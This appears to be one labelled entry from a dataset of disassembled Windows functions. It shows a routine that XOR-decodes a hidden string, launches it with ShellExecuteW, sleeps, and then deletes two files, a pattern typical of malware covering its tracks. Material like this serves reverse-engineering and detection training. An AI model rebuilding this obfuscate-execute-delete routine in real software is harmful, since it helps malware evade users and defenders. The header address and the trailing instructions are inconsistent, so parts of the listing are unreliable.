Function at 0x140302a32
Capabilities:
Delete file

Disassembly:
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x40]
call fcn.14000a170
lea rax, [rsp + 0x70]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
lea r14, [rbp - 8]
mov rsi, qword [rbp - 8]
mov r15, qword [rbp + 0x10]
cmp r15, 8
cmovae r14, rsi
mov rbx, qword [rbp + 8]
cmp rbx, rdi
ja 0x14001dc16
mov qword [rbp - 0x78], 7
cmp rbx, 8
jae 0x14001d936
mov qword [rbp - 0x80], rbx
mov r8d, reloc.WS2_32.dll_recv
mov rdx, r14
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memmove
jmp 0x14001d981
mov rax, rbx
or rax, 7
cmp rax, rdi
ja 0x14001d952
mov rdi, rax
cmp rax, 0xa
mov eax, 0xa
cmovb rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rsp + 0x70]
call fcn.14000b4c0
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rdi
lea r8, [rbx*2 + 2]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x70]
call fcn.140019870
mov rbx, rax
lea rdi, [rsp + 0x70]
cmp qword [rbp - 0x78], 8
cmovae rdi, qword [rsp + 0x70]
mov r14, rax
cmp qword [rax + 0x18], 8
jb 0x14001d9ae
mov r14, qword [rax]
mov ecx, WSAStartup
xor edx, edx
call fcn.140019110
mov word [rsp + 0x40], ax
mov ecx, 0x75
lea edx, [rcx - 0x74]
call fcn.140019110
mov word [rsp + 0x42], ax
mov ecx, WSAGetLastError
lea edx, [rcx - 0x6c]
call fcn.140019110
mov word [rsp + 0x44], ax
mov ecx, 0x61
lea edx, [rcx - 0x5e]
call fcn.140019110
mov word [rsp + 0x46], ax
mov ecx, reloc.WS2_32.dll_WSAStartup
lea edx, [rcx - 0x6f]
call fcn.140019110
mov word [rsp + 0x48], ax
movzx eax, word [rsp + 0x60]
mov word [rsp + 0x4a], ax
mov edx, 6
movzx ecx, word [0x140072e4c]
call fcn.140019110
mov word [rsp + 0x4c], ax
mov edx, 7
movzx ecx, word [0x140072e4e]
call fcn.140019110
mov word [rsp + 0x4e], ax
mov edx, 8
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_46]
call fcn.140019110
mov word [rsp + 0x50], ax
mov edx, 9
movzx ecx, word [reloc.WS2_32.dll_WSAStartup]
call fcn.140019110
mov word [rsp + 0x52], ax
mov edx, 0xa
movzx ecx, word [0x140072e54]
call fcn.140019110
mov word [rsp + 0x54], ax
xor eax, eax
mov word [rsp + 0x56], ax
mov edx, r12d
mov r8d, 0x133
nop
movsxd rax, edx
lea rcx, [rsp + 0x40]
lea rcx, [rcx + rax*2]
lea eax, [r8 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 0xb
jb 0x14001da90
mov word [rsp + 0x56], r12w
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9, rdi
mov r8, r14
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, rbx
call fcn.14000a170
lea rcx, [rsp + 0x70]
call fcn.14000a170
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
cmp r15, 8
jb 0x14001db52
lea rdx, [r15*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14001db49
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001db49
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.14006e438
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x14001db95
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001db90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001db90
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e438
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r12w
mov rdx, qword [rbp - 0x10]
cmp rdx, 8
jb 0x14001dbe9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001dbe4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001dbe4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e438
mov rcx, qword [rbp + 0x18]
xor rcx, rsp
call fcn.14006e560
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140002ba0
nop
call fcn.140002ba0
nop
call fcn.140002ba0
int3
not word [rsp + 0x48]
mov r12, qword [rsp + 0x28]
jb 0x14001d8c4
je 0x14020644b
mov qword [rsp + 0x38], r8
mov r8, qword [rsp + 0x18]
test qword [rsp + 0x38], 0x2b143d5c
call fcn.140348823